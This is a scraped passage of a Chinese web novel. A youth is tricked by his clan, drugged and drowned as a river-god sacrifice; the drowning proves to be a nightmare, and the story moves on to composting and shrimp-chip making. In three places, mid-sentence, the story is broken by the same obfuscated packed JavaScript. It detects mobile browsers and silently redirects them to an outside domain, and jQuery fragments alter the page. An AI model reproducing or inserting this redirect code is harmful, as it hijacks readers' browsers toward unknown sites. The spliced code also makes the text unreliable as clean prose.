族长搬出族中大义，庄老三的妻子从旁“动之以情晓之以理”不住劝说。几番沟通，庄老三总算是配合着听完了祭祀方案： 一、祭祀按照冥婚方式办，庄家不用出一分一毫，所有用度全部族中出。 二、每家每户出200文给到庄老三家，算是替河神下的“聘礼”。 三、庄聿白虽未成家，但牌位供在祠堂，享族人祭拜。 族长和族长耆老都在，差点要向庄老三行跪拜大礼，求他救救族人。 这都是看着庄老三长大的父辈，他垂下头，将脸埋在影子中，半晌说了一句话。 “让他走得风光些。此前就说是孟家来迎娶。” * 族人给庄聿白“添妆”送行的纸裹，被扔了满地。 继母庄刘氏窝在红布堆中“哗啦哗啦”埋头数钱，满面红光。 铜板相撞的声音，哗啦啦绕着庄家贴满黄色符篆的房梁回荡。庄聿白正坐在祠堂厢房内，想象着三日后自己的婚礼，会是怎样的情景。 三年前孟家村孟知彰母子来正式下聘的事，整个淮南都传开了。虽说是母亲在世时定的娃娃亲，庄聿白也只跟着母亲见过孟知彰一两次，至于对方长什么样子，早没了印象。 庄聿白对这场亲事，自是满心期待。 谁知后来孟知彰母亲突发恶疾，一病去了，这门亲事一耽搁就是三年。 中间有段时间，他发现继母经常将媒人带回家说话，一说就是大半日。弟弟庄鹏程学中被先生骂了回家冲自己发脾气时，也说过一些没头没尾的话。 “真把自己当我哥了？你也配！我母亲说了，平宁州有个老财主看上了你，打算10两银子买你去暖床。你就等着那老干柴好好疼你吧。” 不知是不是价格没谈拢，至少弟弟口中的老干柴并没有派花轿来接自己。 正当庄聿白还以为孟家将这门亲事忘了，前些日孟家又带着族人来了。这次不仅添补了些聘礼，还想即刻议定成亲之日。 庄聿白悬着的心，终于安稳一些。这日子也算有了盼头。 孟家的儿郎是个读书郎，庄聿白听说三年前对方在县试和府试中皆考中案首，前途不可限量，等院试一过，就是正经的秀才相公了。听说秀才相公不仅免徭役、免税粮，见了县官还可以不跪。 自己嫁过去，当了秀才夫郎，就不用再在继母手底下，过每日醒来就是扫地、舂米、洗衣、做饭、送弟弟读书……这看不到头的日子了。 舂米还好，只需要多花些力气，冬日河中洗衣，是庄聿白最怕的活计。 十岁那年，河面早蒙上一层冰碴，庄聿白还是一早就塞了一大盆冬衣被赶到河上。 河水冰冷噬骨，河水中似乎藏了千万根看不到的冰针，扎得人又冷又疼，一双小手冻得通红。 若这一盆衣服洗不完，今天的早饭就不用想了。小聿白将手拢在嘴边，呼出些哈气想暖暖这冻僵的双手。温差过大，暖气碰到手心像滚烫的火舌灼烧着手上皮肤。 哈气沾在睫毛，结起一层霜花。他咬咬牙，重新将手伸入河水，很快冷感和灼烧感一起消失，一双手木木胀胀艰难搅动着衣服。 棉衣湿重，水流带动下，忽地从小聿白手中滑脱。 这可是弟弟的冬衣，若是被水冲走，可不只是饿几顿就算完事的。惊慌失措的小聿白扑向水面去捞衣服，脚下一滑，“噗通”整个人摔进了刺骨的河水中…… 后面的事，他记不太清了。应该是个好心人路过将他捞了上来送回家，衣服自然被河水冲走，没能找回来。四面透风的后罩房中，小聿白好几日没能下床。 等能站起身可以走动时，更多的待洗冬衣堆到了他面前。 好在这么多年都走过来，自己也马上要成亲了。 虽然不知道孟知彰是怎样的人，只要不用冬天一早去河中洗衣服，只要不会三天两头关小黑屋不给饭吃，庄聿白就觉得这日子有希望。 前日继母带话给他，说是和孟家定了日子，五日后就来迎娶，让他准备一下。 庄聿白起初还不敢相信，直到弟弟庄鹏程跑来冷言冷语挖苦自己，说看到他的喜服了，那么好的丝绸衣物穿在他身上真是浪费。 弟弟向来如此，庄聿白早就习惯了。这也说明孟家来娶亲是真的。庄聿白高 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14773743|157868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 兴，发自内心的高兴，他关上门，眼泪扑簌簌掉下来。 终于可以离开继母，离开这个家，老天还是眷顾他庄聿白的！ * 祠堂除了祭祀，平时无人到访。一片肃穆刹寂，哪怕已到了初夏时节，凉风过堂，还是冷飕飕的。 庄聿白打开厢房的窗户，祠堂院中的白墙黑瓦，在上百年雨水的冲刷下变得灰蒙蒙一片。 不过阳光很好，想到三日后的婚礼，在庄聿白眼里，这暮气沉沉的祠堂也变得明媚、可爱起来。 凉风吹过，庄聿白紧了一下衣襟，他笑着问来给自己送饭的婆婆，成亲仪式上有什么要注意的规矩，这些规矩会不会有人来教他。 “柜子？你是要个妆奁柜子么？” 阿婆年纪大了，耳背，比划半天也没听懂，浑浊的眼球躲躲闪闪，嘴里小声念叨着“柜子、柜子”。庄聿白便不再为难婆婆，笑着谢婆婆给他送东西吃。 几个描边陶瓷小碟子，一看便不是家中器物。饭菜很丰盛，两碟荤菜，两碟素菜，还有一壶茶，这是庄聿白吃过最好的饭食了，比他能想象到的年夜饭还要丰盛。 他一脸吃惊地看看菜又看看婆婆：“阿婆，每个待嫁的人，都会有这么多好吃的么？这么多，阿婆和我一起吃吧！” 想起婆婆耳朵听不清，庄聿白腼腆地笑了笑。 婆婆扯起泛白的粗布衣袖擦擦眼角：“老婆子年纪大了，这风眼病总治不好，别笑话。” 乡里乡亲，庄聿白平时虽很少见人，但村中人大多知道这个一小就没了亲娘的苦孩子。 出门时，一双手不听使唤，哆哆嗦嗦指着窗户，“外面有两个族中阿叔，你这几日若想要什么，或是有什么想吃的，尽管告诉他们。” 成亲前一日，嫁衣送了来，绸缎的。手摸上去，滑滑凉凉的，很舒服。他从没穿过丝绸的衣服，因为母亲的嫁妆中有一方丝绸手帕，所以认得这丝绸材质。 如果母亲能见自己穿喜服模样，应该非常开心吧。 庄聿白将喜服穿在身上。房中没有镜子，他打开窗户，借阳光将自己的身影完整映在地上。 脚步移动，身影纤长，庄聿白想象着夫君的身量、夫君的模样，想象着夫君见到身着这身喜服的自己、会是什么样的表情。 好久没有人对自己笑了，婚礼当日夫君见到自己，会笑一笑的吧。 三日后孟知彰会不会笑，庄聿白猜不到，不过此刻的他脸颊微烫。礼服的正红色，经阳光一打将庄聿白眼尾那颗泪痣，映照得更加动人起来。 礼服珍贵，庄聿白没舍得多穿，他小心脱下来叠好放在床头。明日就是正日子了，此前听说成亲礼仪繁琐，需要一早起来装扮，想来自己应该也如此。 庄聿白早早躺下了。 这三日庄聿白只在厢房内活动，他不知道外面情形如何。他只希望阿娘留下的东西，父亲别忘记给自己带上。 当然他不知道的是，他前脚出了家门，后脚关于他的所有痕迹全部一把火烧成灰烬。 人都是已经要死的了，留这些东西给谁用？ 9. 纸扎 上翘的祠堂檐角，深深剜进胶黑的夜。 一弯残月和几颗星子，在雾气中时隐时现。 “咚咚咚——” 急促拍门声，打乱淮南村静默的子夜。 庄聿白从睡梦中惊醒，却见几位阿叔抬进来一只木桶，说仪式前要先沐浴焚香，这样才显得敬重神明。 仪式？庄聿白揉揉惺忪的眼睛，一时没明白。他刚想问，随即不好意思地笑了。还能是什么仪式，自然是自己的成亲仪式。 木桶很大，放下后几乎将厢房地面占了大半，三个人同时进去沐浴都没问题。这么大的桶，庄聿白只在过年宰杀祭祀牲畜时见过。 为何用这样的大桶，这种幼稚问题庄聿白自然也没问。成亲是人生大事，沐浴的规矩当然不同寻常。桶大自然有大的道理。 两位阿叔给桶倒上水后，又各拿了两个装满灰的香炉，也不吭声，闷头将香灰倒进桶中搅了搅，满桶浑黄一片，散发着符篆的气味。 近来道士们来做了好几场法事，庄聿白对这种符篆灰烬的味道已经非常熟悉。不过在符灰中沐浴，岂不是越洗越脏了？满身是灰怎么换礼服呢？ 看出庄聿白的疑惑，其中一位阿叔指指木桶又指指自己手中：“这还有一桶清水，在那里……在那里沐浴过后能祛祛怨气……这桶水……再冲洗一下。” 一句话说得支离破碎，庄聿白只听清先在大桶符水洗，再用小桶清水冲洗。他照做了。 沐浴后，庄聿白认认真真将喜服穿在身上，还开心地转了个身，请一旁阿叔帮忙看看可还行。 “行，行……挺好。”那两个阿叔眼底带着惊恐，敷衍着几声，抬着木桶大步就往外走。 走得急，桶身“哐啷啷”撞到门框上。 今日要成亲的是自己，阿叔们跟着紧张什么？ 庄聿白正要上前帮忙，眼睛余光瞥到门外时，心“咕咚”猛地一沉。 祠堂院子本就不大，不知什么时候乌泱泱站满了人。一个个脸上影影幢幢，看不清表情。只静静站着朝房内看，看向庄聿白。 很少见过这种阵仗的庄聿白，一下子紧张起来。宽大礼服的袖袍下，细瘦手指下意识攥紧，手心也开始出汗。 遇事冷静，等会去了孟家，观礼的人应该更多，自己要稳住。让天上的阿娘知道，她的聿儿是可以的，绝不会给她丢脸。庄聿白不停给自己鼓劲。不舍得弄脏礼服，他不停将手心的汗擦在自己手背上。 过了一会儿，一个上了年纪的妇人带个小丫头进来。她进门一把将庄聿白按在椅子上，拿出一些丝线水粉，帮这位新人“上妆”。 脂粉呛人，还带出些陈年的霉味。庄聿白下意识向后一躲。 那妇人口中“啧”一声，直接掰住庄聿白的头，命令让他不要乱动，并手劲十足将粉强行抹到庄聿白脸上。好在粉虽然发霉，不像此前的符篆烟气熏得人掉泪，庄聿白闭上眼任她像抹布擦地一般上着粉。 之后开始梳头，妇人口中念念有词：“一梳梳到尾，二梳诸事顺，三梳……三梳五谷丰登”。“五谷丰登”是她临时改的半句，正常给新人上妆时会说“三梳子孙满堂”，此时她觉得不合适。 妇人在庄聿白头上一顿捯饬，在庄聿白马上坐不住时终于歇了手，将梳子在那沾着油污的脂粉盒子胡乱一扔，接过小丫头递上的毛巾仔仔细细擦着手，像是沾染上了脏东西。 远处响起一声鸡啼，迎亲马上开始。到现在还没人来告诉自己该注意些什么，庄聿白有些着急。虽然这妇人看上去不像好说话的，庄聿白还是没忍住，笑着请教对方可有什么规矩要守。 “规矩？”妇人脸黑胭脂厚，一张苦瓜脸满是不耐烦，“哪有什么规矩。你只不要讲话便是。其他的，别人让你做什么，你就做什么。” 妇人出门时，庄聿白的父亲和继母，正在族长带领下走进祠堂。 上妆妇人边向外走，边交代身旁小丫头子将今日用的这些家伙事全都用火烧了：“真晦气，给个活死人上妆！今后正经人家闺女出阁，谁还会来请自己梳头。” 有人气不过，跟到祠堂院外抢白这妇人两句：“拿钱办事，你既想赚这份钱，拿了银子又在这糟践人，当心会招雷劈的。” “老天若真开眼，这雷也劈不到我头上！为了十几两银子聘礼，争着抢着去献祭的人，都活得好好的。我有什么好怕的！” 那妇人临走前，又朝着庄聿白的方向远远啐了几口，说去去晦气。 继母庄刘氏听到外面吵嚷，担心庄聿白听见，当着族长的面闹起来不好看，忙一团和气地高声热络起气氛。 “那句话怎么说来着，人靠衣装马靠鞍。果真不见。我们家聿哥儿这一装扮起来，真是有模有样！瞧着一身礼服，呦！全是丝绸的呢！乖乖！啧啧啧……” 庄刘氏围着庄聿白的礼服看了又看，有些挪不开眼睛。 丝绸料的衣服连族长家嫁女儿都没穿过，她自己也仅有几方丝绸的帕子。这么好的料子穿在自己身上，才不算糟蹋。穿在一个哥儿身上，还就穿这几个时辰……真真浪费东西。不过这是族中花钱置办的，她也不好插言。 族长亲自捧过来一杯酒：“聿哥儿，你可还有什么话？” 庄聿白有些受宠若惊。以他的身份，平时是连族长的面都见不着的。今日自己成亲，族长不仅来送，还和颜悦色亲自给自己递酒。他忙起身恭敬地接了。 庄聿白拿不准，这种场合该说些什么才不失礼。虽说是成亲，又不是不回来了，若忘了什么，等三日回门时再说也来得及。不过这么多人看着，不说些什么也不好，庄聿白想了片刻：“我娘亲留下的东西，请务必帮我带上。” 族长点点头，捻着胡子出去了，微驼的背影像一个无声的叹息。 “把这酒喝了。”继母上来催庄聿白。 庄聿白看着手中的红色酒盏，想必这就是“催妆酒”了。他端着酒盏刚想往唇边送，一股刺鼻的气味扑面而来。他下意识想躲，忽然又回过神，心中劝自己：自己从前没喝过酒，或许酒都是这种味道吧。 这事躲不得，躲了不吉利，还失了礼数。成亲是人生大事，他庄聿白虽然从小没了亲娘，但婚礼流程还是要圆圆满满 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14773744|157868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的。 不就是一杯酒么，庄聿白心一横，深吸一口气，仰头全灌了下去。 族中宗妇端来喜盖，示意庄聿白拜别父母。 口中苦涩难忍，辣得泪花在眼中打转，庄聿白强忍着整理下神情，起身恭敬磕了个头。 “多谢二老养育之恩，今后请多保重。聿白去了。” 红盖头一盖，酒劲上了来。 庄聿白觉得整个人钝下去，不仅行动慢半拍，周遭的声音也模模糊糊的，像是从水底传出来。 房门大开，庄聿白意识越来越模糊，进出房间的人却越来越多。 先是此前那位去家中做过法的巫觋，他举着火把围着穿戴整齐的庄聿白来回转圈，像在方寸之地用火把的轨迹打造一个锁阵。 接着是此前那两名举着桃木剑的黄袍道士，边念咒语边往庄聿白身上贴各种符篆。黄纸符篆挂满猩红礼服，风一吹，说不出的诡异。 庄聿白不清楚婚礼仪式究竟是怎样的，但他此刻也察觉出哪里似有不对。按说这是大喜的日子，即便需要哭嫁，也不至于所有人脸上都看不到一点笑意。 压抑，恐慌。 道士还在往他身上贴符篆，庄聿白想起身问个清楚。奈何酒劲太猛，他浑身发虚根本站不起来。 天蒙蒙亮时，嫁衣裹就的庄聿白，被一乘红色裱糊的小轿抬至江边。 江边设了祭坛，供了香案。 上面隆重摆着牛、羊、猪三牲祭品。死去的脖颈上还系着红绸缎花，和庄聿白的礼服一样鲜亮。 花轿，就停在了祭品正前方。 所有人都知道，花轿中的人，才是整场仪式的主祭品。 晨风中，族长带着族中耆老列队两旁。 肃静、肃穆、肃杀。 纸灰飘扬，空气里全是纸钱香烛焚烧过的气味，盖过了河水浑浊的土腥气。 岸边，巫觋周身晃动的铃响，一阵重似一阵。 铃声震得庄聿白头疼欲裂，他不知何时睡了过去，此时强撑着睁开眼，盖头遮目，晕红一片。 庄聿白有些自责，酒醉得如此厉害，若是拜堂礼上还这副模样，岂不是误了大事。趁着迎亲队伍还没来，应该喝一碗醒酒汤。 对，醒酒汤！庄聿白找到了自救法子。 这时，花轿被抬了起来。说明轿外有人，庄聿白心中一喜，忙冲着轿外求救：“唔……” ？！ 他的嘴被堵上了！ …… 庄聿白心中大惊，低头再看，双手双脚也被牢牢绑在了椅子上。 …… 不是婚礼吗？为何要绑人？ “唔……唔……唔” 庄聿白试图大声呼救，奈何河岸上唢呐锣鼓，忽地奏起喜乐，响天震地。连他自己都听不见自己的声音。 花轿被抬上了船。 河风卷起轿帘一角，放下的一瞬，庄聿白看见河岸上，给自己送饭的老婆婆，正弓着身子朝自己挥手，瘦削得像一株枯草。 身旁放着一只红色妆奁柜子。 纸扎的妆奁柜子。 10. 祭河 纸扎？！ 庄聿白猛地醒过些神来，他发狠去甩盖头，发现甩不掉后，便用头抵住轿帘，强行蹭出一个缝隙看着外面的景象。 轿外，一场盛大的狂欢，正幕天席地盖下来。 整个淮南村，满铺红白二色。 一半婚礼，一半葬礼。 庄聿白看见族长带着族人沿河跪成一片，正朝着自己这边焚香、祭酒、叩拜。 欢快昂扬的唢呐声中，断断续续传来几句抑扬顿挫的唱念： “庄氏族人，伏拜祝告……敬奉三牲及童子一人，庄氏聿白……躬身侍奉。惟愿河神，佑我一族，风调雨顺……祭礼告成，伏惟尚飨！” 这是在……祭祀河神？ 一声响雷在庄聿白头顶炸开。 良久，他明白过来为何将自己迁到祠堂斋戒、沐浴，还着专人看管…… 是怕自己跑了，怕自己得知真相大吵大闹，扰乱了这祭河仪式！ 呵……自己不过是一个祭品！ 与摆在香案上的那些猪牛羊一般无二！ 庄聿白不明白，自己从来谨小慎微，从不与人结怨拉仇，为何要将他放上祭台？ 难道因为自己急于嫁去孟家？可这是早就定下的亲事，且已经耽搁了几年。 难道因为自己是个哥儿，还是个没娘疼的哥儿，就活该受人欺凌？ 庄聿白想不明白。 可就算将人……生祭？到底也让人死得明白些。为何全族人一起瞒骗自己，哄这是孟家来迎亲，让人巴巴等这些天，到头来，空欢喜一场不说，性命也要搭进去…… 岸上唢呐声欢闹依旧、喜庆依旧。 庄聿白冷笑两声，狠命甩掉头上红盖头。 所谓的“催妆酒”，根本就是一记蒙汗药，好让自己神不知鬼不觉、睡梦中乖乖赴死。这算他们赏赐的“仁慈”吧？ 一切都是谎言，包括这艘喜船。 庄聿白打量这个局促的轿厢，除了捆绑自己的椅子，轿身、轿帘、喜船船底……都是用纸扎成的。 祭祀喜船随河而下，不知漂了多久，岸上的唢呐渐渐听不见，船身却越来越倾斜，庄聿白斜靠在轿身上，纸扎下的草枝戳出来，那张白瓷般的脸颊硌出印痕。 庄聿白顾不上疼。船底开始渗水了……水流打湿纸板，汩汩翻涌而上。 浑浊的角江水正慢慢漫过轿底，吞噬着庄聿白的鞋子、脚腕、小腿…… 湿凉感、水压感，越来越强。 随之而来的是越来越清晰的……濒死感。 不！ 自己才十七岁！ 自己还有很多事没做完， 自己还有许多事要去做！ 自己若跟牲畜一样被生祭，天上的阿娘她会多伤心…… 上苍，我还不想死。求求你，救救我…… 天地不仁，以万物为刍狗。上苍自然也听不见庄聿白的哀求。 水越聚越多，已经齐腰…… 不行，不能就这么死掉…… 庄聿白挣命挣扎。越挣扎，河水漫入得越急越快。 …… 一口水呛入口鼻，细弱的脖子被琥珀色湿发缠住…… 灭顶的窒息感，恐慌之余，更多的是 ……不甘心。 白皙面庞随着猩红花轿，一起淹没在腥臭浑浊的角江中。 角江汤汤， 养育过庄聿白， 也埋葬了庄聿白。 只剩水底浑黄暗黑一片…… * “啪、啪、啪——” 不知过了多久，水面传来敲击船身的声音。 接着水底一股力量向上托了庄聿白一把。 庄聿白像被仙人点拨一般，拼尽最后一丝力气，循着声音向上挣、向上游……居然真的将脸探出了水面。 新鲜气流猛地灌进胸肺，大口喘息换成了剧烈咳嗽。 “咳咳咳——” 庄聿白翻身去撕扯领口，贪婪地想攫取更多空气。 不料身体猛地一抖，满头琥珀色头发从枕上滑下来。 刺目的白光，让人睁不开眼。他伸手去挡，才发现是窗口洒进来的阳光。 天大亮了。 孟知彰的床，被自己蹂躏得惨不忍睹。被子早踩成一团堆在床角。 方才是梦魇了。冷汗打湿的头发缠进脖子，被庄聿白扯到胸前，凌乱一片。 天气晴好，身体完好。 醒来后，梦中场景已忘了大半。庄聿白一时呆坐在那里，却只觉哀戚，化不开，抹不去，拂不掉。 具体是怎样的情绪，他也说不好。说不出来的剧烈悲伤感，像闷闷钝钝的刀子在他心中割扯。 “啪、啪、啪——” 阳光清亮，梦中敲击船身的声音却并未停。 如瀑垂下的琥珀色头发下，那双哀伤的眼睛眨了眨，抬眸循声找去。 声音来自柴门。 庄聿白披上外衫，趿拉着鞋来到院内。阳光打在身上，这种生命的真实感，将梦中的哀伤消去大半。 柴门外影影绰绰一只宽大的身影，不用猜也知道是谁。 “早上好，琥珀！” 声音抓地感十足，踏实、洪亮，加上这清晨的阳光，似乎能将所有阴霾一扫而空。 “大有哥，早！” 庄聿白开了柴门，牛大有满满当当挤在门口，一肩扛着两只硕大的圆簸箕，另一只手拎了个木桶。大半桶水，水面还有东西跳动。 “山中捉的虾，不及外面卖的匀称，你先用着。一时不用的，先养在这木桶中。” 身后从身后竹篓里掏出一个荷叶包，憨憨笑两声：“家中生的豆芽，爹说给你尝尝。别嫌弃。” 庄聿白道了谢，水漉漉一大捧绿豆芽，白嫩干净，饱满清新。 “昨日面筋球，吃过了么，味道如何？” 庄聿白装作不在乎随口一问。他虽自信面筋球做得成功，可能否一下子对上这里乡民的胃口，心里还是有些打鼓。 没听到对方回应，庄聿白回头，牛大有竟有些不好意思地在挠头。 ……难道是不好吃？ 庄聿白心里沉了沉，将那桶虾放到阴凉处，面上倒故作轻松：“是不是吃不习惯？” “不不不！习惯，习惯！”牛大有涨红了黝黑的脸，头挠得更凶，憋了半天道，“我们全家都喜欢，就是不知是怎么个价格……合适的话，想买些回去。” 愿意出钱购买？！ 还有什么夸赞能比这更让人高兴的！ “大有哥帮我这么大忙，一点面筋而已，客气什么！”庄聿白将昨天剩下的两包面筋全塞给牛大有。 牛大有手上一顿，犹豫片刻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14773745|157868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，还是拒绝了：“也不是客气。” 他又想到什么，从庄聿白手上拿过一包面筋：“不介意的话，送云先生尝尝，这虾多亏了云先生。” “云先生？云先生帮忙捉的虾？”庄聿白第一次听闻有人姓“云”，觉得新奇。 “哪敢劳烦云先生捉虾。因为这几座山是云家的，但平时我们在山中寻些用度，云先生却从不计较。” 庄聿白明白，古代社会很多山川土地都属私产，哪怕一条寻常山路，主人不让你走，也是没办法，何况去人家地界捞虾捉鱼。 知恩自然要图报，只是自己眼下没什么拿得出手。但云先生这份情，庄聿白记下了。 来日方长，日后总会再有机会的。 “我这几日要去北山炭窑上，不能常到你这来。”牛大有动作娴熟地帮着将淀粉归置到圆簸箕上，“下月初三，城中吴员外家庆寿，木炭用量大，这些日子要多烧几窑木炭出来。” 知道对方忙，庄聿白没有虚客套，将人送至门外，说等虾片做出来请他尝尝，还请他给云先生带个好。 关了柴门，庄聿白用那包豆芽炒盘面筋，当做早午饭。没有科技和狠活的豆芽，爽口又清甜。 庄聿白端碗吃得正欢，忽然一愣，筷子停下来。 这两日的菜全靠人接济，这也不是办法。若别人不接济，眼下家中银钱有限，用来买肉买菜不现实。但总不能每天饼子叠饼子吧？ 自己还在长身体，而那一位……正是读书用脑子的关键时刻。一两日拮据日子还能过，就当体验生活了。但每日都只有简单粗暴的碳水，可不行！万万不行！ 想个什么办法呢？庄聿白已经离开餐桌，视线在空空如也的家中来回扫。 北窗！昨日跳窗的空档，他瞥见北窗外是一片空地。 有地就有希望。 庄聿白一路小跑绕到房后，果不其然！空地不大，也算平整。他迈开步子粗粗丈量了下，一百平是有的。自己这通身的农学知识，是时候发光发热了。 他以手遮眼看看太阳角度，又用脚向下踢了踢土层。生长层是浅了些，也薄。长杂草没问题。种菜，也不是说不能活。 营养不良的土地，只能长出营养不良的瓜菜。 古代社会常见的是自制农家肥。这属于冷堆肥，将动物粪便等各种材料堆在一起静置分解。一般要等上一年半载，还会携带杂草和病原体。就算条件好一些的地方，掺拌生石灰来加热灭菌，生产成本也上去了。 远水解不了近渴。庄聿白现在手上既没有太多时间，也没有太多可用资源。怎么办？ 论专业对口的重要性。庄聿白想到了十八日堆肥法，这可谓是为此刻量身定制的解决方案。 十八日堆肥法，是热堆肥技术，通过对含碳、氮的原料进行科学配比和手动翻堆，18天内即可产生高质量的堆肥。高温杀菌，还能极大减少肥料流失。最重要的是，只需18天！ 庄聿白站在这个陌生的时空，一边回忆现代社会时的理论知识和实践经验，一边观察判断周边可用的材料。 他抬手将滑到面前的一缕琥珀色头发理到耳后，有些志在必得，也有些天生我材必有用的踌躇少年志气。 当然，冥冥中似乎还有一些宿命感。 他必须一点点变强大，强大到足以去荡除、去化解梦境中的那份哀伤。 11. 货郎 十八日堆肥法，难点在于原料筹备和碳氮配比。 庄聿白在现代社会常用的豆粕、鱼肠等眼下没有。这个时代豆油都还没上餐桌，哪去找豆粕。 他看着通往北山的那条小路，眼前一亮，这满眼杂草不就是极好的原料么。 孟知彰的衣衫至少大自己两个尺码，庄聿白找来布帛将稍显空荡的袖口和裤管缠住，又从紧邻灶屋的小仓库中翻出镰刀和铁叉。 筹备原料过程中，柴院旁那堆稻草和灶下的灰烬，都出了一份力，做虾片剩下的虾头虾壳也有了用武之地。 菜园东北角，离家最远的地方划出一小片堆肥场地。津津细汗浸湿庄聿白的额角碎发，他解下腰间巾帕擦了擦脸。 所需原材料齐整堆在空地，稻草打底，青草杂陈这几日攒下的不多的厨余。庄聿白掌控着用量和比例，一层“碳”一层“氮”，慢慢铺着材料。 碳氮比处于摸索阶段，就像新手和面一样，也会出现水多加面、面多加水的情况，中间庄聿白又去割了一堆草回来。 日头渐斜，长宽1米，高1.5米的肥堆站在夕阳下，像一株毛茸茸的大蘑菇，静待4天后的第一次蜕变。 * 庄聿白带着一身薄汗回到家。 他撩起清水洗了把脸，上下内外也简单擦拭一番，之后顺手洗了根孟知彰留给他的黄瓜，一边巡视满院淀粉，一边直接生嚼起来。 黄瓜清甜爽脆，咬一口汁水迸裂，唇齿生津。“嘎嘣嘎嘣”一声接一声，疲累也一扫而散。 淀粉已经干透，粉块洁白无暇。庄聿白捏了一粒用指腹轻轻碾碎，丝滑细柔漫在指尖，比婴儿肌肤还滑。 是时候做虾片了。 半透明大青虾，在桶中乱跳跳的，目测有三四斤。庄聿白不知虾的主人，那位坐拥几座山的云先生，会是怎样一个土财主，若今后批量生产虾片，也不知能否稳定捕捞。 青虾去头挑线，清透水润的虾仁用刀在砧板上碾抹成泥，而后与淀粉以1:2的比例和成面团。 淀粉流淌性强、无韧性，庄聿白费了些功夫才和成一个大面团。理论和实践有时果真隔着一条河。只有光腿摸着石头趟过去，才知水面下的深浅和冷暖。 面团比想象中平滑，透着虾泥的青灰色，但手感硬邦邦，反推力微微硌手。 庄聿白继续按揉，将面团塑成直径4厘米条柱，盘在手上，宛如一条圆胖胖的白蛇。随后提刀切成三寸长的一截截面胚。 锅中加水，水沸面胚下锅，大火烹煮。一双竹筷不停推转水流，一则保持面胚形状，二则避免粘锅。 水面上，白汽翻腾，将一瀑琥珀发色几乎淹没；水面下，青灰色面坯瞬间变成淡淡的橘粉色。 约莫二十分钟后，面坯渐次浮上水面。八九分熟是有了，不过仍需继续煮，这一步宁过之勿不及，面芯有生粉就功亏一篑了。庄聿白加把火，又煮了十分钟。 熟透的面坯捞出，快速放进凉水冷却、定型。细长手指跟着探入水底，坯润汤清，淡粉色柱状面胚，满满一把握进手心，滑溜溜，润乎乎，还留着温度。 或许虾泥不够细，面坯入水加热，内部受力不均。细摸去，坯柱上布满如筋的凸起。 庄聿白伸手去捞，太滑了，不小心便会像泥鳅一般溜走。 他还是强行抓了一根出来，滑滑的，润润的，温温的，半透明的橘红面柱透出鲜虾的微甜。 五六根面坯排排躺在通风圆簸箕上风干脱水的时候，庄聿白将剩下的淀粉，仔细收在一个小面袋中。面筋球也包了五大包，满满一摞。 对食物的占有，总能带来天然的安全感和幸福感。 淀粉和面筋都可以常温存放一段时间，多做些方便随时取用。晚饭后，天擦黑前，庄聿白又水洗了一波面筋。面筋炸成面筋球，面水仍静置缸中沉淀。 明天一早晾晒淀粉，检查肥堆状态，再收拾出一小片育苗圃，问下牛大有哪里可以搞点菜种或菜苗。 身处陌生时空，身边的一切都在按计划有序进行，这种安稳的操控感，庄聿白很安心。 夜幕降下，结束一天劳作的庄聿白爬上孟知彰的床。 虽然只有半日之缘，却像认识了许久。他仰枕着胳膊，开始好奇这个雄壮书生平日都是怎么生活的。吃什么，衣服去哪买，他出门几日不回，家中没有代步工具，路上也没有公共交通，全部用脚量么？嗯……会不会太辛苦。 庄聿白不算娇气的人，但他不喜欢吃苦。 太阳还没露头，庄聿白就从床上爬起来洗漱。口中留存的皂角味，清新又提神。 淀粉水已净透见底。清水倒掉，洁白膏状淀粉沉在桶底。庄聿白用铲子将半固体淀粉铲到圆簸箕上，慢慢推开摊薄。 虾片面坯已半干，用手一掰，韧如牛筋。 面坯切成均匀薄片，庄聿白的刀工只能做到半毫米到一毫米之间。淡粉色坯片，在刀后齐整码成一排，圆、韧，自带一种均匀的美感。 胚片逐一摆在圆簸箕上，竹片的枯棕托起胚片的嫩粉，阳光下赏心悦目。 晒干的胚片过油一炸，就是酥脆鲜香的虾片。想到虾片入口后的“咔嚓咔嚓”，庄聿白忍不住咽了下口水。 * 孟知彰家坐落在村子最北边，四邻离得稍远。 一条小路铺摆在杂草丛生的荒地，蜿蜒向北隐入山中。庄聿白想起自己就是从这条小路上被狗追“追”来的，姑且称它为“来时路”。 肥堆外围毛糙的杂叶秸秆微微下塌，看来内里已经开始发酵反应。是个好开端。 菜园齐备还需两周，庄聿白计划先搞一个育苗圃出来。至于育苗圃的底肥，他准备去山中“借”点腐殖质。以免惊动上次追自己的黑狗，那就在山脚外缘“浅借”一些吧。 山林没经过开发，厚厚一层陈年枯叶，脚踩上去潮湿绵软，一看便知肥力深厚。 轻轻扒开上面的残叶，黝黑松透的腐殖层，对植物来说简直是黑色黄金。庄聿白两眼发亮，连泥带土“借”了半筐。 